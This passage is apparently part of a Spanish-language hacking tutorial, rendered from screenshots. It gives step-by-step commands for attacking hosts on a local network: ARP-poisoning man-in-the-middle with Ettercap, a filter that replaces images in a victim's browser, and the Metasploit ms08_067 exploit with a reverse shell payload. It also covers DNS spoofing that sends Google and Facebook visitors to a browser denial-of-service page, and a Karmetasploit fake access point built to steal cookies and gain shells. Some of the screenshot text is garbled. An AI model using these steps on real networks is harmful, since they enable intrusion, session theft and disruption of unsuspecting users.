File: "/tmp	etherXXXXR	Vc57d" 172	Packets: 3	33 Display	ed: 333 M	arked: 0 Dropped:	0 Profile: Default	

3 – File > Save as:

III File Edit View Go Capture Analyze St	atistics Help	resharklia Firefox		_ • ×
	} 🖹 🔍 ← ⇒ 🦘 🏧 🛓 📃		. 🖭 🖬 🗹 🍢	* 0
Filter:	Wireshark: Save (Capture File As		1
No Time Source	Nombre:			×
320 4.995039 209.85.227.147				
321 4.995075 192.168.0.102	Guardar en la carpeta: 🖾 wire			0 TSV=830898 TSER=2097522508
322 5.018630 209.85.227.99				
323 5.018687 192.168.0.102				1=0 TSV=830904 TSER=2057416398
324 5.020322 209.85.227.99				
325 5.020368 192.168.0.102	home aetsu wire		Crear carpeta	2N=0 ISV=830904 ISEK=2057416398
320 3.039401 209.03.227.147			10	0 TCV-920000 TCEP-2007522560
328 5 845665 192 168 8 182	Lugares Nombre		-	1355 21458 21548Cei=1 WSSg7uN8gS-gh1
329 5.109059 209.85.227.103	O Usados recient		=	n=A TSV=2915696598 TSFR=830911
330 5.125098 209.85.227.103				11-0 131-2313030330 1321-030311
331 5.125136 192.168.0.102	Añadir - Ouitar		×	en=0 TSV=830931 TSER=2915696614
332 7.154799 SitecomE 31:f3:92	Auguan C 201001		>	1
333 7.154826 Azurewav 9c:79:c1				
h Eramo 1 (024 bytes on wire, 024 bytes	Packet Range			
Ethernet TT Src: Azureway 9c:79:c1 (Captured	Displayed	~
0000 00 0c f6 31 f3 92 00 15 af 9c 79	All packets	333	333	
0010 03 8e 02 a7 40 00 40 06 be f9 c0	C Selected packet only	355		
0020 e3 65 b6 3f 00 50 35 af 45 b1 8b	O gelected packet only	1		
0030 00 69 67 ec 00 00 01 01 08 0a 00	O Marked packets only			
0040 e2 ad 47 45 54 20 2f 63 6f 6d 70	 From first to last marked packet 			
0050 73 65 61 72 63 68 3f 68 6c 3d 65	 Specify a packet range: 	0		
0000 20 48 54 54 50 2T 31 2e 31 00 0a				
0070 20 03 0C 05 05 06 74 75 31 20 07 0080 20 65 73 0d 0a 55 73 65 72 2d 41				
0090 20 4d 6f 7a 69 6c 6c 61 2f 35 2e	File type: Wiresbark/tcpdump/ libpcap	6		
00a0 31 3b 20 55 3b 20 4c 69 6e 75 78				
00b0 36 34 3b 20 65 73 2d 45 53 3b 20				
00c0 39 2e 30 2e 31 33 29 20 47 65 63		s2 😢	incelar Guardar	
00d0 30 39 30 38 30 33 31 35 20 55 62	l			J
0000 39 20 30 34 20 28 68 61 75 60 74	79 29 20 40 09 9.04 (ja unity) F1			*

Después elegimos la carpeta creada anteriormente y le ponemos un nombre, en este caso le

pondré capturas.

4 – Una vez echo esto vamos a una terminal, nos dirigimos a la carpeta creada antes (*wire*) y ponemos:

tcpxtract --file captura --output archivos

y aparecerá esto:

Archivo Editar Ver Historial Marcadores Preferencias Ayuda , exporting to archivos/00000004.jpg ound file of type "jpg" in session [209.85.227.104:20480 -> 192.168.0.102 , exporting to archivos/000000005.jpg ound file of type "jpg" in session [209.85.227.99:20480 -> 192.168.0.102:	: 36549 56775] 57031]
, exporting to archivos/00000004.jpg ound file of type "jpg" in session [209.85.227.104:20480 -> 192.168.0.102 , exporting to archivos/00000005.jpg ound file of type "jpg" in session [209.85.227.99:20480 -> 192.168.0.102:	: 36549 56775] 57031]
ound file of type "jpg" in session [209.85.227.104:20480 -> 192.168.0.102 , exporting to archivos/00000005.jpg ound file of type "jpg" in session [209.85.227.99:20480 -> 192.168.0.102:	: 36549 56775] 57031]
, exporting to archivos/00000005.jpg ound file of type "jpg" in session [209.85.227.99:20480 -> 192.168.0.102:	56775] 57031]
ound file of type "jpg" in session [209.85.227.99:20480 -> 192.168.0.102:	56775] 57031]
	57031]
exporting to archivos/0000006.jpg	21031]
ound file of type jpg in session (209.85.227.99:20480 -> 192.168.0.102:	
exporting to archives/00000007.jpg	502111
exporting to archives/0000008 ing	90311]
ound file of type "ing" in session [209 85 227 104-20480 -> 192 168 0 102	- 38341
. exporting to archivos/0000009.ipg	100041
ound file of type "jpg" in session [209.85.227.104:20480 -> 192.168.0.102	: 39109
, exporting to archivos/00000010.jpg	
ound file of type "jpg" in session [209.85.227.104:20480 -> 192.168.0.102	: 37061
, exporting to archivos/00000011.jpg	
ound file of type "jpg" in session [209.85.227.99:20480 -> 192.168.0.102:	54983]
exporting to archivos/00000012.jpg	
ound file of type "jpg" in session [209.85.227.103:20480 -> 192.168.0.102	: 28567
, exporting to archivos/0000013.jpg	05703
ound file of type "jpg" in session [209.85.227.104:20480 -> 192.168.0.102	: 35781
, exporting to archivos/00000014.jpg	. 20021
experting to archives/00000015 ing	2002
ound file of type "ing" in session [209]85.227.99:20480 -> 192.168.0.102:	55239
exporting to archivos/00000016.jpg	JO200,
ound file of type "jpg" in session [209.85.227.99:20480 -> 192.168.0.102:	3013]
exporting to archivos/00000017.jpg	
ound file of type "jpg" in session [209.85.227.99:20480 -> 192.168.0.102:	3525]
exporting to archivos/00000018.jpg	
ound file of type "jpg" in session [209.85.227.147:20480 -> 192.168.0.102	: 2069
, exporting to archivos/0000019.jpg	
ound file of type "jpg" in session [209.85.227.147:20480 -> 192.168.0.102	:2095
, exporting to archivos/00000020.jpg	00001
ound file of type "jpg" in session [209.85.227.99:20480 -> 192.168.0.102:	3269]
exporting to archivos/00000021.jpg	
ersu@aersu-pc:~/wire\$	

Con esto se generaran en la carpeta archivos todas las imágenes encontradas en "captura".



Si falla el comando

tcpxtract --file captura --output archivos

repetirlo hasta que funcione, ya que algunas veces falla.

ETTERCAP -- ISOLATE

Otra cosa que podríamos hacer a nuestra victima sería dejarla sin Internet. Para ello nos valdremos del plugin *isolate*.

Para esta parte del tutorial partiremos de lo que hemos visto antes con **Ettercap**, es decir, partimos desde que hemos conseguido hacer un MITM y entonces iremos a **Plugins** > **Manage plugins** y aparecerá:

	0					etter	rcap NG	-0.7.3				
	<u>S</u> tart	<u>T</u> argets	<u>H</u> o:	sts	<u>∨</u> iew	<u>M</u> itm	<u>F</u> ilters	<u>L</u> ogging	<u>P</u> lugins	<u>H</u> elp		
	Host L	.ist 🖹 Plu	ıgins	. <u>.</u>								
ſ	Na	ime		Vers	sion	nfo						
	fin	ger_submi	t	1.0	ş	Submit a	a fingerpi	rint to ette	rcap's web	osite		
	gre	e_relay		1.0	٦	ūnnel br	roker for	redirected	GRE tunn	nels		
	gw	_discover		1.0	٦	īry to fin	d the LAI	∖ gateway				
	iso	late		1.0		solate a	n host fr	om the lan				
	linł	_type		1.0	0	Check th	e link typ	el&hub/swi	itch)			
	pp	tp_chapm	sl	1.0	F	PTP: Fo	rces cha	pms-v1 fro	m chapm	is-v2		
	pp	tp_clear		1.0	F	PPTP: Tries to force cleartext tunnel						
U	nn	to pap		1.0	F	PTP: Fo	rces PAP	authentic	ation			-
A	RP po	isoning vic	tims	:								
	GROUF	91:192.1	68.1	.36 0	8:00:	27:31:9F	:F0					
(GROUF	2 : 192.1 Unified s	68.1 niffin	.1 00):13:4	9:F0:B4:	EB					100
ľ	- car ch ry	, ccu s		9								
												-

Una vez allí hacemos doble clic en *isolate* y en breve (a veces tarda un poco) dejaremos a nuestra víctima sin Internet.

0			ette	rcap NG	-0.7.3			
<u>S</u> ta	rt <u>T</u> argets	<u>H</u> osts <u>\</u>	<u>/</u> iew <u>M</u> itm	<u>F</u> ilters	<u>L</u> ogging	<u>P</u> lugins	<u>H</u> elp	
los	t List 🖭 🛛 Plu	igins 🗵						
	Name gw_discover	Versio 1.0	on Info Try to fin	d the LA	N gateway			
* i	isolate	1.0	Isolate a	n host fr	om the lan			
	link_type	1.0	Check th	ne link ty	be (hub/swi	itch)		
I	pptp_chapms	sl 1.0	PPT F o	rces cha	pms-v1 fro	m chapm	is-v2	
	pptp_clear	1.0	PPTP: Tri	es to for	ce cleartex	t tunnel		
	pptp_pap	1.0	PPTP: Fo	rces PAP	authentica	ation		
	pptp_reneg	1.0	PPTP: Fo	rces tun	nel re-nego	otiation		
	rand_flood	1.0	Flood th	e LAN wit	h random	MAC add	resses	
			- 1				*******	
GROUP 1 : 192.168.1.36 08:00:27:31:9F:F0								
art tart	ing Unified sr ating isolate	58.1.1 00:: niffing plugin	L3:49:F0:B4:	EB				
	Sta Hos *	Start Targets Host List Plu Name gw_discover isolate link_type pptp_chapms pptp_clear pptp_pap ptp_reneg rand_flood GROUP 1 : 192.14 SROUP 2 : 192.14 tarting Unified si ctivating isolate	Start Targets Hosts Y Start Targets Hosts Y Host List Plugins Y Name Versic gw_discover 1.0 * isolate 1.0 pptp_chapms1 1.0 pptp_clear 1.0 pptp_pap 1.0 rand_flood 1.0 GROUP 1: 192.168.1.36 08 3ROUP 2: 192.168.1.100:3 starting Unified sniffing ctivating isolate plugin	Image: Second	Image: Start Targets Hosts View Mitm Filters Host List Plugins View Mitm Filters Host List Plugins View Mitm Filters Name Version Info gw_discover 1.0 isolate 1.0 link_type 1.0 ptp_chapms1 1.0 pptp_clear 1.0 pptp_reneg 1.0 PPTP: Forces tuni rand_flood 1.0 Flood the LAN wit SROUP 1: 192.168.1.36 08:00:27:31:9F:F0 SROUP 2: 192.168.1.1 00:13:49:F0:B4:EB tarting Unified sniffing ctivating isolate plugin	Image: Start Targets Hosts View Mitm Filters Logging Host List Plugins Plugin	Image: Start Targets Hosts View Mitm Filters Logging Plugins Host List Plugins View Mitm Filters Logging Plugins Name Version Info gw_discover 1.0 1.0 Try to find the LAN gateway * isolate 1.0 link_type 1.0 ptp_chapms1 1.0 PPTP: Forces chapms-v1 from chapm pptp_clear 1.0 pptp_reneg 1.0 PPTP: Forces tunnel re-negotiation rand_flood 1.0 Flood the LAN with random MAC addred SROUP 1: 192.168.1.36 08:00:27:31:9F:F0 SROUP 2: 192.168.1.1 00:13:49:F0:B4:EB tarting Unified sniffing ctivating isolate plugin	Image: Sector of the sector

ETTERCAP -- FILTRO IMAGENES

Antes hemos utilizado un filtro que nos proporcionaba **Ettercap**, pero esta vez nos descargaremos uno y lo "prepararemos" para que pueda utilizarlo nuestro programa.

Sobre la utilidad de nuestro plugin cabe decir que <u>cambiara las imágenes del navegador de nuestra</u> <u>víctima</u> por la que nosotros escojamos.

Lo primero sera obtener el plugin: <u>http://www.irongeek.com/i.php?page=security/ettercapfilter</u>, sino queréis descargarlo aquí está:

```
#
                                                                       #
#
  Jolly Pwned -- ig.filter -- filter source file
                                                                       #
#
                                                                       #
#
  By Irongeek. based on code from ALoR & NaGA
                                                                       #
#
  Along with some help from Kev and jon.dmml
                                                                       #
#
  http://ettercap.sourceforge.net/forum/viewtopic.php?t=2833
                                                                       #
#
                                                                       #
#
  This program is free software; you can redistribute it and/or modify
                                                                       #
#
  it under the terms of the GNU General Public License as published by
                                                                       #
#
                                                                       #
 the Free Software Foundation; either version 2 of the License, or
#
 (at your option) any later version.
                                                                       #
#
                                                                       #
if (ip.proto == TCP && tcp.dst == 80) {
  if (search(DATA.data, "Accept-Encoding")) {
     replace("Accept-Encoding", "Accept-Rubbish!");
         # note: replacement string is same length as original string
     msg("zapped Accept-Encoding!\n");
  }
}
if (ip.proto == TCP && tcp.src == 80) {
  replace("img src=", "img src=\"http://www.irongeek.com/images/jollypwn.png\"
"):
  replace("IMG SRC=", "img src=\"http://www.irongeek.com/images/jollypwn.png\"
");
  msg("Filter Ran.\n");
}
```

Lo copiamos y lo guardamos en un archivo con <u>extension *filter*</u>, para este ejemplo yo lo llamaré *"fImagenes.filter"*.

NOTA: Donde pone <u>http://www.irongeek.com/images/jollypwn.png</u> debemos sustituirlo por la dirección de la imagen que queremos que vea nuestra víctima.

Una vez tengamos nuestro archivo *.filter* tenemos que convertirlo a un formato que Ettercap pueda leer (**extension .ef**), para ello:

etterfilter fImagenes.filter -o fImagenes.ef

Con el archivo en formato *.ef* en nuestro poder, ponemos **Ettercap** con el **MITM** y cargamos nuestro plugin con **Plugins** > **Load a Plugin**. Aquí <u>seleccionamos nuestro archivo *.ef*</u> con lo que ya solo quedará desde **Plugins** > **Manage plugins** seleccionarlo como con el *isolate* y molestar a nuestra víctima cambiándole las imágenes que aparecen en su navegador por las que nosotros deseemos.

- SECCION METASPLOIT -

Hasta ahora hemos atacado a nuestras víctimas al azar sin saber apenas nada de su sistema, ahora vamos a adentrarnos un poco más en esta dirección y veremos los equipos que se encuentran en nuestra red y conoceremos algo de sus sistemas.

Para este trabajo utilizaremos nuestro amigo **nmap**, aunque primero deberíamos saber cual es nuestra *subnet* para poder lanzar **nmap** con mas precisión (y con un tiempo de respuesta menor):

ifconfig wlan0 | grep 'Direc. Inet:'

donde *wlan0* es la interfaz que tenemos conectada a Internet. Aquí nos mostrara <u>nuestra ip</u>, para este ejemplo supongamos que es 192.168.0.134, entonces lanzaremos **nmap** de la siguiente forma:

nmap -A 192.168.0.*

con lo que obtendremos <u>información variada</u> de todos los equipos de nuestra subnet, ya sea la MAC, los puertos abiertos además de los servicios que corren por estos. Veamos que hemos obtenido:



Vemos que tenemos una maquina en la red con Windows XP además de los puertos que tiene abiertos. Como esto es a modo de demostración de lo que es capaz **metasploit** he puesto este XP porque es vulnerable, y aunque es preocupante, aún hay gente en sus casas que los tiene como este. \rightarrow Empecemos ahora con <u>metasploit</u>:

Primero desde una terminal arrancamos **metasploit** con: **msfconsole**

Tardará un poco pero nos mostrara una bonita pantalla de presentación y con ello el **metasploit** corriendo:



A continuacion nos aprovecharemos de una vulnerabilidad en el puerto 445 ya que como hemos visto en nmap lo tiene abierto

1 - Ponemos:

use exploit/windows/smb/ms08_067_netapi

2 - Ahora podemos ver los *payloads* de que disponemos con:

show payloads

esto nos mostrara una larga lista de payloads, pero ahora usaremos el "shell reverse tcp".

3 - Seleccionamos el payload con:

set PAYLOAD windows/shell_reverse_tcp

msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > set PAYLOAD windows/shell_reverse_tcp
PAYLOAD => windows/shell_reverse_tcp

4 - Podemos ver las opciones del payload con:

show options

<u>msf</u> exploit(ms08_067_netapi) > show options Module options: Name Current Setting Required Description RHOST The target address yes yes 445 RPORT Set the SMB service port SMBPIPE BROWSER The pipe name to use (BROWSER, SRVSVC) yes Payload options (windows/shell reverse tcp): Current Setting Required Description Name EXITFUNC thread yes Exit technique: seh, thread, process yes LHOST The listen address yes LPORT 4444 The listen port Exploit target: Id Name - - - -Θ Automatic Targeting

5 - Seleccionamos la ip del objetivo:

set RHOST <ip_objetivo>

6 - Y la nuestra:

set LHOST <ip nuestra>

```
<u>msf</u> exploit(ms08_067_netapi) > set RH0ST 192.168.0.199
RH0ST => 192.168.0.199
<u>msf</u> exploit(ms08_067_netapi) > set LH0ST 192.168.0.198
LH0ST => 192.168.0.198
```

7 - Por último lanzamos el exploit:

exploit



Con todo esto ya tendríamos una consola en el sistema víctima sin que nuestro objetivo se diese cuenta.

EN RESUMEN:

- $1^{\circ} \rightarrow$ use exploit/windows/smb/ms08_067_netapi
- $2^{\circ} \rightarrow$ set PAYLOAD windows/shell_reverse_tcp
- $3^{\circ} \rightarrow \text{ set RHOST } < ip_objetivo >$
- $4^{\circ} \rightarrow$ set LHOST $\langle ip$ nuestra>
- $5^{\circ} \rightarrow exploit$

Si queréis mas formación sobre esto aquí tenéis una estupenda guía de introducción a metasploit:

[Tutorial] Conociendo Metasploit Framework [Concluido] por Rcart

Metasploit ofrece una infinidad de posibilidades, pero con esto queda claro una muestra de su potencial.

- SECCION DNS-SPOOFING -

1a parte – Introducción

En esta ultima sección vamos a ver como hacer que nuestra víctima acceda a las paginas web que nosotros queramos en lugar de acceder a las suyas propias. Para ello utilizaremos a nuestro amigo **ettercap** con un **MITM** y su plugin *dns_spoof*, pero, esta vez, cambiaremos la interfaz <u>GTK</u> por la interfaz <u>neurses</u> desde una terminal.

Empezamos arrancando ettercap con ncurses:



A continuación vamos a **Sniff** > **Unified Sniffing** y nos pedirá escribir la interfaz con la que queremos sniffar el tráfico.



Pulsamos *Enter* y después vamos a **Host** > **Scan for Host** con lo que buscara los *host* de nuestra red. Una vez haya escaneado la red en **Host** > **Host list**:

Start	Targets	Hosts	View	Mitm	Filters	Logging	Plugins	Help		NG-0.7.3
Hos 192. 192. 192. 192. 192.	Targets .ts list 168.0.193 168.0.196 168.0.197 168.0.206	Hosts	View	Mitm	Filters	Logging	Plugins	Help		NG-0.7.3
User 1698 t 2183 k Random Scanni 5 host	messages cp OS fin nown serv nizing 255 .ng the wh cs added t	s: ngerprin vices 5 hosts hole net to the h	t for sc mask f iosts l	anning or 255 ist	 hosts				C ₈	

Una vez veamos los *host*, tendremos que seleccionar los objetivos como hacíamos con la interfaz gráfica:



Como vemos tenemos que poner los objetivos (el router y la victima) entre "/<ip> / ".

Ahora antes de continuar con el *dns-spoofing* vamos a ver el archivo donde se almacenan las direcciones y a donde son redirigidas. Este archivo es:

/usr/share/ettercap/etter.dns

y vamos a ver la parte de su contenido que nos interesa:



En la imagen vemos **microsoft.com A 198.182.196.56** esto significa que una vez el *dns-spoofing* este funcionando cuando nuestra víctima intente acceder a *microsoft.com* sera redirigida a *198.182.196.56* que es *www.linux.org*. Este es el **etter.dns** que trae **ettercap** por defecto, nosotros podemos cambiarlo a nuestro gusto (después explicare una utilidad "interesante" para esto).

Bueno ya tenemos nuestro **etter.dns** configurado, ahora tenemos que cargarlo en **ettercap**, para ello continuamos en donde habíamos dejado nuestro *sniffer* y vamos a **Plugins** > **Manage de Plugins**, con lo que nos aparecerá una ventana como esta:

-Sele	ect a plugin		
0000	de a peuginin		
[0]	arp_cop	1.1	Report suspicious ARP activity
[0]	autoadd	1.2	Automatically add new victims in the target rang
[0]	chk_poison	1.1	Check if the poisoning had success
[1]	dns_spoof	1.1	Sends spoofed dns replies
[0]	dos_attack	1.0	Run a d.o.s. attack against an IP address
[0]	dummy	3.0	A plugin template (for developers)
[0]	find_conn	1.0	Search connections on a switched LAN
[0]	find_ettercap	2.0	Try to find ettercap activity
[0]	find_ip	1.0	Search an unused IP address in the subnet
[0]	finger	1.6	Fingerprint a remote host
[0]	finger_submit	1.0	Submit a fingerprint to ettercap's website
[0]	gre_relay	1.0	Tunnel broker for redirected GRE tunnels
[0]	gw_discover	1.0	Try to find the LAN gateway

Hacemos doble clic sobre **dns_spoof** y veremos como el **[0]** de la izquierda pasa a ser **[1]** con lo que <u>el plugin ya esta activado</u>.

Nos queda el último ajuste para el *Man In The Middle,* vamos a **Mitm** > **Arp Poisoning** y en la ventana que aparecerá ponemos:



Ya solo queda **Start** > **Start Sniffing**:

Start	Targets Hosts	View	Mitm Filters Logging Plugins Help	NG-0.7.3			
Sel	ect a plugin						
[0]	arp cop	1.1	Report suspicious ARP activity				
[0]	autoadd	1.2	Automatically add new victims in the target rang				
[0]	chk poison	1.1	Check if the poisoning had success				
[1]	dns_spoof	1.1	Sends spoofed dns replies				
[0]	dos_attack	1.0	Run a d.o.s. attack against an IP address				
[0]	dummy	3.0	A plugin template (for developers)				
[0]	find_conn	1.0	Search connections on a switched LAN				
[0]	find_ettercap	2.0	Try to find ettercap activity				
[0]	find_ip	1.0	Search an unused IP address in the subnet				
[0]	finger	1.6	Fingerprint a remote host				
[0]	finger_submit	1.0	Submit a fingerprint to ettercap's website				
[0]	gre_relay	1.0	Tunnel broker for redirected GRE tunnels				
[0]	gw_discover	1.0	Try to find the LAN gateway				
	messages:						
	messages						
GROUP	2 : 192.168.0.1		5 : 🔁 : 🚭 : 🖼 : 📲				
Starti	ng Unified sniff	ing					
dns_sp	oof: [www.micros	oft.c	om] spoofed to [198.182.196.56]				
				•			

Entonces cuando nuestra victima acceda a micro\$oft.com:



2a parte – Lo divertido

Antes de empezar esta parte cabe aclarar que lo realizado aquí probablemente se puede hacer de otra forma mas simple y sin tanto trabajo, pero la intención de este tutorial es mostrar lo básico, es ya tarea de cada uno explorar las posibilidades.

Para esta parte necesitaremos:

- Backtrack 4 RC2.
- Una maquina virtual con <u>Ubuntu 10.04 o 10.10</u> (o un ordenador real da igual).
- Una victima inocente con Windows XP.

\rightarrow Vamos a plantear el escenario:

Estamos en la misma red local que nuestra victima que tendrá un Windows XP, y lo que haremos sera aprovecharnos de un modulo del **metasploit** que produce una <u>dos</u> cuando la victima se conecta con *Internet Explorer* a una dirección concreta que nosotros le facilitaremos, cosa que podría ser difícil de conseguir sin <u>ingeniería social</u>, pero que nosotros podemos conseguir sin que nuestro objetivo se entere.

<>> Entonces la situación quedara asi:

Bactrack lanzará el modulo de **mestasploit** con objetivo el **Windows XP**, y nos proporcionará una dirección **http**. Entonces en nuestro servidor web con **Ubuntu** haremos que cuando alguien se conecte a el sea redirigido a la dirección que nos proporcionaba **Backtrack** provocándole una <u>denegación de servicio</u>. Para esta direccional utilizaremos **ettercap** + **dns_spoof** redirigiendo la pagina de <u>Google</u> a nuestro servidor web, ya que **ettercap** no puede redireccionar a una dirección compleja como la que nos proporciona **metasploit**, de ahí que sea necesario utilizar nuestro servidor web.

→ Empezamos:

Para empezar prepararemos nuestras maquinas virtuales y la que "más" trabajo requiere es la de **Ubuntu**. Así que vamos a instalar lo necesario:

sudo apt-get install mysql-server-5.1 apache2 php5 php5-mysql libapache2-mod-auth-mysql

Ahora reiniciamos MySql y Apache con:

sudo /etc/init.d/apache2 restart sudo service mysql restart

Listo, las paginas web se almacenan en /var/www, aunque ya iremos después a poner nuestra web.

Fuente: Como instalar Apache+Mysql+PHP en Ubuntu 10.04

→ Máquina de **Backtrack4**:

 $1^{\circ} \rightarrow$ Terminal y ejecutamos **metasploit**:

msfconsole

 $2^{\circ} \rightarrow$ use auxiliary/dos/windows/browser/ms09_065_eot_integer

 $3^{\circ} \rightarrow$ Ahora ponemos nuestra ip:

set SRVHOST <ip victima>

en mi caso:

set SRVHOST 192.168.0.201

_eot_integer <u>msf</u> auxiliary	(ms09_065_eot_integer) > use auxiliary/dos/windows/b (ms09_065_eot_integer) > show options	rowser/ms0	9_065_
Module option	s:		
Name	Current Setting	Required	Description
EOTFILE	/opt/metasploit3/msf3/data/exploits/pricedown.eot	yes	The EOT template to
use to genera SRVH0ST	192.168.0.201	yes	The local host to li
sten on. SRVPORT	8080	yes	The local port to li
sten on.			
SSL	false	no	Negotiate SSL for in
coming connec	tions		
SSLVersion	SSL3	no	Specify the version
of SSL that s URIPATH	hould be used (accepted: SSL2, SSL3, TLS1)	no	The URI to use for t
nis exploit (default is random)		

 $4^{\circ} \rightarrow$ Lanzamos el modulo:

run

```
msf auxiliary(ms09_065_eot_integer) > set SRVHOST 192.168.0.201
SRVHOST => 192.168.0.201
msf auxiliary(ms09_065_eot_integer) > run
[*] Using URL: http://192.168.0.201:8080/CaydG8AgVtbctE
[*] Server started.
```

Perfecto, ya tenemos la dirección que facilitaremos a nuestra víctima, pero y si … no quiere aceptarla, ¿que hacemos? Para esto tenemos el <u>dns-spoofing</u>, para que se conecte a la web que queramos sin que se de cuenta.

→ Máquina de **Ubuntu 10.04**:

Entonces nuestro siguiente paso es ir a la maquina en que tenemos <u>nuestro servidor web</u>, en mi caso la de **Ubuntu** y vamos al directorio /**var/www.** Alli modificamos el archivo **index.html** y lo dejamos como este:

```
<html>
<head>
<title>Google</title>
<META HTTP-EQUIV="REFRESH"
CONTENT="1;URL=http://192.168.0.201:8080/CaydG8AgVtbctE">
</head>
</head>
<body>
Espere unos segundos...
</body>
</html>
```

Donde *URL=<u>http://192.168.0.201:8080/CaydG8AgVtbctE</u>* es la dirección que nos proporciona Backtrack (<u>cada vez cambia</u>).

Con esto ya tenemos nuestro <u>servidor web listo</u> y queda el **dns_spoof** lanzado desde **Backtrack** para que <u>redireccione Google a la IP de nuestro servidor</u>.

 \rightarrow Máquina de **Backtrack4**:

Editamos el **/usr/share/ettercap/etter.dns** y redirigimos la página que queramos a nuestra máquina con **Ubuntu**, el fichero **etter.dns** quedará así:

#####################	####	******	*******************************			
# redirect it to w	,, ww.l:	inux.org				
<pre>* es-es.facebook.com google.es</pre>	A A	192.168.0.195 192.168.0.195				
*.google.com www.google.es	A PTR	192.168.0.195 192.168.0.195				
microsoft.com *.microsoft.com www.microsoft.com	A A PTR	198.182.196.56 198.182.196.56 198.182.196.56	# Wildcards in PTR are not allowed			

Lo siguiente es usar **ettercap** como hemos visto en la **1a parte** y realizar un **dns_spoofing** para que <u>nuestra víctima al conectarse a Google o Facebook con **Internet Explorer** "*muera*".</u>

\rightarrow Máquina de Windows XP:

Cuando nuestro inocente *amig*(a) acceda a una de las paginas mencionadas antes vera esto:

🙀 🏘 🕜 Google	
GTGevOqFEdcjfCivdVKUaNIJGXryffwzDQIaxJfhKyNnIBqfmLFrEEUMOYgjBGOrlodnCwwFPnuKXnNdFGlauleP	
Descargando datos http://192.168.0.201:8080/CaydG8AgVtbctE/YBWtfRaiVuTg	

y **BOOM!!** .

 \rightarrow Máquina de **Backtrack4**:

Esto es lo que veremos cuando alguien acceda a nuestra dirección (bien sea redirigido o de forma directa):

```
msf auxiliary(ms09_065_eot_integer) > set SRVHOST 192.168.0.201
SRVHOST => 192.168.0.201
msf auxiliary(ms09_065_eot_integer) > run
[*] Using URL: http://192.168.0.201:8080/CaydG8AgVtbctE
[*] Server started.
[*] Sending HTML page with embedded font to 192.168.0.197:1270...
[*] Sending embedded font to 192.168.0.197:1270...
```

Con esto acabamos esta sección, aunque hay que tener en cuenta como he dicho al principio de ella que esto es instructivo, es una forma de hacer las cosas que no tiene porque funcionar bien porque el <u>IE no sea vulnerable</u> o porque <u>el dns_spoof no nos funciona</u> o por **otros motivos varios**, pero, <u>la idea de redireccionar la podremos utilizar en muchos otros exploits</u> que requieran que la víctima acceda a una página concreta modificada para la ocasión, o para crear clones de páginas webs conocidas con intención de obtener los datos privados de un usuario, aquí nuestra imaginación es la que pone el tope :).

- SECCION KARMETASPLOIT -

Hemos visto lo que podemos hacer si nos adentramos en la red de alguien, pero, y sino nos apetece hacer nada, ¿que hacemos?

La respuesta es simple, que vengan nuestras víctimas a nosotros creando un punto de acceso falso para que se conecten. Para esto utilizaremos **Karmetasploit**. Esto nos permitirá robar las <u>cookies</u> de nuestra victima o si su ordenador es vulnerable a uno de los **exploits** que cargue **metasploit** podemos incluso obtener una shell en su pc.

Primero preparamos el terreno, siempre partiendo de que utilizamos Bactrack 4 rc2, para ello descargamos el script **karma.rc**:

wget http://metasploit.com/users/hdm/tools/karma.rc



Una vez descargado vamos a modificar el archivo /etc/dhcp3/dhcpd.conf (haced primero una copia del original si lo deseáis) y tiene que quedar así:

option domain-name-servers 10.0.0.1; default-lease-time 60; max-lease-time 72; ddns-update-style none; authoritative; log-facility local7; subnet 10.0.0.0 netmask 255.255.255.0 { range 10.0.0.100 10.0.0.254; option routers 10.0.0.1; option domain-name-servers 10.0.0.1;



Para acabar la puesta a punto de <u>karmetasploit</u> podemos editar el fichero /**opt/metasploit3/msf3/data/exploits/capture/http/sites.txt** donde están los lugares de los que **metasploit** intentará robar las *cookies*, aquí podemos añadir nosotros los que queramos.

<pre>root@bt:~# cat /opt/metasploit3/msf3/data/exploits/capture/http/sites.txt</pre>
adwords.google.com
blogger.com
care.com
careerbuilder.com
ecademy.com
facebook.com
gather.com
gmail.com
gmail.google.com
google.com
linkedin.com
livejournal.com
monster.com
myspace.com
plaxo.com
ryze.com
slashdot.org
twitter.com
hotmail.com
tuenti.com
www.hotmail.com
www.tuenti.es

Una vez esté todo listo ponemos nuestra tarjeta en modo monitor, para ello(la interfaz es wlan0):

airmon-ng start wlan0

y cambiamos la MAC de nuestro punto de acceso (la interfaz en modo monitor es mon0):

	0	0 1				
root@bt:~# airmon-ng start wlan0						
Found 2	processes that could cau	ise trouble.				
If airodu	ump-ng, aireplay-ng or a	airtun-ng stops working after				
a short p	a short period of time, you may want to kill (some of) them!					
ртп	Jamo					
5003 (
5095 0	deliont					
5115 (mettent					
Interface	e Chipset	Driver				
	DTI 0107	-+10107 [-+0]				
wtane	RIL8187	rti8187 - [pny0] (manitar made enabled an men0)				
		(monitor mode enabled on mono)				
root@bt:~# ifconfig mon0 down && macchanger -r mon0 && ifconfig mon0 up						
Current MAC: (unknown)						
Faked MAC: c0:bb:00:3b:11:7d (unknown)						
root@bt:-	~#					

ifconfig mon0 down && macchanger -r mon0 && ifconfig mon0 up

Con la interfaz lista ya podemos crear nuestro punto de acceso con airbase-ng:

airbase-ng -P -C 30 -c 6 -e "WLAN_7F" mon0



donde $WLAN_7F$ es el nombre que queremos darle a nuestro <u>falso punto de acceso</u> y *mon0* es nuestra interfaz en modo monitor.

El paso anterior quedara una nueva interfaz *at0* a la cual (desde otra terminal) <u>le damos una ip</u> y <u>activamos el servidor dhcp</u>:

ifconfig at0 up 10.0.0.1 netmask 255.255.255.0

dhcpd3 -cf /etc/dhcp3/dhcpd.conf at0

```
root@bt:~# ifconfig at0 up 10.0.0.1 netmask 255.255.255.0
root@bt:~# dhcpd3 -cf /etc/dhcp3/dhcpd.conf at0
Internet Systems Consortium DHCP Server V3.1.1
Copyright 2004-2008 Internet Systems Consortium.
All rights reserved.
For info, please visit http://www.isc.org/sw/dhcp/
Wrote 3 leases to leases file.
Listening on LPF/at0/c0:bb:00:3b:11:7d/10.0.0/24
Sending on LPF/at0/c0:bb:00:3b:11:7d/10.0.0/24
Sending on Socket/fallback/fallback-net
root@bt:~# Can't create PID file /var/run/dhcpd.pid: Permission denied.
```

Como ultimo paso arrancaremos metasploit con karma:

msfconsole -r karma.rc

```
oot@bt:~# mstconsole -r karma.rc
    # ###### ##### ## ##### #
                                              #### # #####
4#
# ## # #####
   # # # # # # #
# ###### # # # #
                      # # # # #
# #### # ##
                                                   # #
                                      ###### #### #
     =[ metasploit v3.5.1-dev [core:3.5 api:1.0]
 -- --=[ 640 exploits - 320 auxiliary
 -- --=[ 215 payloads - 27 encoders - 8 nops
